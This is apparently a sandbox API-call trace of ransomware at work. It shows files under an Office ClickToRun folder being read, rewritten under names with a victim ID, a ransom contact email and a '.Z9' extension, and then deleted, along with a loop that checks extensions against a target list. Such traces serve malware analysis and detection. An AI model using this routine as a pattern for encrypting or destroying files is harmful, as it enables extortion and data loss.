	[0084.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.652] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.652] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0084.653] GetLastError () returned 0x0
	[0084.653] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x48c0, lpOverlapped=0x0) returned 1
	[0084.654] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x48d0, lpOverlapped=0x0) returned 1
	[0084.656] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.656] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11a, lpOverlapped=0x0) returned 1
	[0084.656] SetEndOfFile (hFile=0x360) returned 1
	[0084.656] CloseHandle (hObject=0x360) returned 1
	[0084.657] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.657] SetEndOfFile (hFile=0x378) returned 1
	[0084.658] CloseHandle (hObject=0x378) returned 1
	[0084.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.658] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1
	[0084.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0084.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0084.659] lstrlenW (lpString=".doc") returned 4
	[0084.659] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.659] lstrlenW (lpString=".docx") returned 5
	[0084.659] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.659] lstrlenW (lpString=".pdf") returned 4
	[0084.659] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.659] lstrlenW (lpString=".xls") returned 4
	[0084.659] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.659] lstrlenW (lpString=".xlsx") returned 5
	[0084.659] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.659] lstrlenW (lpString=".ppt") returned 4
	[0084.659] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0084.659] lstrlenW (lpString=".zip") returned 4
	[0084.659] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.659] lstrlenW (lpString=".rar") returned 4
	[0084.659] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.659] lstrlenW (lpString=".bz2") returned 4
	[0084.659] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.659] lstrlenW (lpString=".7z") returned 3
	[0084.659] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0084.659] lstrlenW (lpString=".dbf") returned 4
	[0084.659] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0084.659] lstrlenW (lpString=".1cd") returned 4
	[0084.659] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0084.659] lstrlenW (lpString=".jpg") returned 4
	[0084.659] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0084.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0084.660] lstrlenW (lpString=".doc") returned 4
	[0084.660] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.660] lstrlenW (lpString=".docx") returned 5
	[0084.660] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.660] lstrlenW (lpString=".pdf") returned 4
	[0084.660] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.660] lstrlenW (lpString=".xls") returned 4
	[0084.660] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.660] lstrlenW (lpString=".xlsx") returned 5
	[0084.660] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.660] lstrlenW (lpString=".ppt") returned 4
	[0084.660] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0084.660] lstrlenW (lpString=".zip") returned 4
	[0084.660] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.660] lstrlenW (lpString=".rar") returned 4
	[0084.660] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.660] lstrlenW (lpString=".bz2") returned 4
	[0084.660] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.660] lstrlenW (lpString=".7z") returned 3
	[0084.660] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0084.660] lstrlenW (lpString=".dbf") returned 4
	[0084.660] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0084.660] lstrlenW (lpString=".1cd") returned 4
	[0084.660] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0084.660] lstrlenW (lpString=".jpg") returned 4
	[0084.660] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.661] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.661] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33
	[0084.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.661] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=11616) returned 1
	[0084.661] CloseHandle (hObject=0x378) returned 1
	[0084.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20
	[0084.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.661] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.661] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0084.662] GetLastError () returned 0x0
	[0084.662] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x2d60, lpOverlapped=0x0) returned 1
	[0084.913] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0084.914] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.914] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x116, lpOverlapped=0x0) returned 1
	[0084.914] SetEndOfFile (hFile=0x360) returned 1
	[0084.914] CloseHandle (hObject=0x360) returned 1
	[0084.915] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.915] SetEndOfFile (hFile=0x378) returned 1
	[0084.916] CloseHandle (hObject=0x378) returned 1
	[0084.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.916] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1
	[0084.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.917] lstrlenW (lpString=".doc") returned 4
	[0084.917] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.917] lstrlenW (lpString=".docx") returned 5
	[0084.917] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.917] lstrlenW (lpString=".pdf") returned 4
	[0084.917] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.917] lstrlenW (lpString=".xls") returned 4
	[0084.917] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.917] lstrlenW (lpString=".xlsx") returned 5
	[0084.917] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.917] lstrlenW (lpString=".ppt") returned 4
	[0084.917] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.917] lstrlenW (lpString=".zip") returned 4
	[0084.917] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.917] lstrlenW (lpString=".rar") returned 4
	[0084.917] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.917] lstrlenW (lpString=".bz2") returned 4
	[0084.917] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.917] lstrlenW (lpString=".7z") returned 3
	[0084.917] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.917] lstrlenW (lpString=".dbf") returned 4
	[0084.917] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.917] lstrlenW (lpString=".1cd") returned 4
	[0084.917] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.917] lstrlenW (lpString=".jpg") returned 4
	[0084.918] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.918] lstrlenW (lpString=".doc") returned 4
	[0084.918] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.918] lstrlenW (lpString=".docx") returned 5
	[0084.918] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.918] lstrlenW (lpString=".pdf") returned 4
	[0084.918] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.918] lstrlenW (lpString=".xls") returned 4
	[0084.918] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.918] lstrlenW (lpString=".xlsx") returned 5
	[0084.918] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.918] lstrlenW (lpString=".ppt") returned 4
	[0084.918] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.918] lstrlenW (lpString=".zip") returned 4
	[0084.918] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.918] lstrlenW (lpString=".rar") returned 4
	[0084.918] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.918] lstrlenW (lpString=".bz2") returned 4
	[0084.918] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.918] lstrlenW (lpString=".7z") returned 3
	[0084.918] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.918] lstrlenW (lpString=".dbf") returned 4
	[0084.918] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.918] lstrlenW (lpString=".1cd") returned 4
	[0084.918] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0084.919] lstrlenW (lpString=".jpg") returned 4
	[0084.919] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.919] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.919] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33
	[0084.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.919] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=23232) returned 1
	[0084.920] CloseHandle (hObject=0x378) returned 1
	[0084.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20
	[0084.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.920] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.920] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0084.920] GetLastError () returned 0x0
	[0084.920] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x5ac0, lpOverlapped=0x0) returned 1
	[0084.922] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x5ad0, lpOverlapped=0x0) returned 1
	[0084.923] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.923] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x116, lpOverlapped=0x0) returned 1
	[0084.924] SetEndOfFile (hFile=0x360) returned 1
	[0084.924] CloseHandle (hObject=0x360) returned 1
	[0084.925] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.925] SetEndOfFile (hFile=0x378) returned 1
	[0084.926] CloseHandle (hObject=0x378) returned 1
	[0084.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.926] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1
	[0084.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0084.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0084.926] lstrlenW (lpString=".doc") returned 4
	[0084.926] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.926] lstrlenW (lpString=".docx") returned 5
	[0084.926] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.926] lstrlenW (lpString=".pdf") returned 4
	[0084.926] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.927] lstrlenW (lpString=".xls") returned 4
	[0084.927] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.927] lstrlenW (lpString=".xlsx") returned 5
	[0084.927] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.927] lstrlenW (lpString=".ppt") returned 4
	[0084.927] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0084.927] lstrlenW (lpString=".zip") returned 4
	[0084.927] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.927] lstrlenW (lpString=".rar") returned 4
	[0084.927] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.927] lstrlenW (lpString=".bz2") returned 4
	[0084.927] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.927] lstrlenW (lpString=".7z") returned 3
	[0084.927] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0084.927] lstrlenW (lpString=".dbf") returned 4
	[0084.927] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0084.927] lstrlenW (lpString=".1cd") returned 4
	[0084.927] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0084.927] lstrlenW (lpString=".jpg") returned 4
	[0084.927] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0084.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0084.927] lstrlenW (lpString=".doc") returned 4
	[0084.927] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.927] lstrlenW (lpString=".docx") returned 5
	[0084.927] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.927] lstrlenW (lpString=".pdf") returned 4
	[0084.927] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.928] lstrlenW (lpString=".xls") returned 4
	[0084.928] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.928] lstrlenW (lpString=".xlsx") returned 5
	[0084.928] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.928] lstrlenW (lpString=".ppt") returned 4
	[0084.928] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0084.928] lstrlenW (lpString=".zip") returned 4
	[0084.928] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.928] lstrlenW (lpString=".rar") returned 4
	[0084.928] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.928] lstrlenW (lpString=".bz2") returned 4
	[0084.928] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.928] lstrlenW (lpString=".7z") returned 3
	[0084.928] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0084.928] lstrlenW (lpString=".dbf") returned 4
	[0084.928] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0084.928] lstrlenW (lpString=".1cd") returned 4
	[0084.928] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0084.928] lstrlenW (lpString=".jpg") returned 4
	[0084.928] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.928] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.929] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31
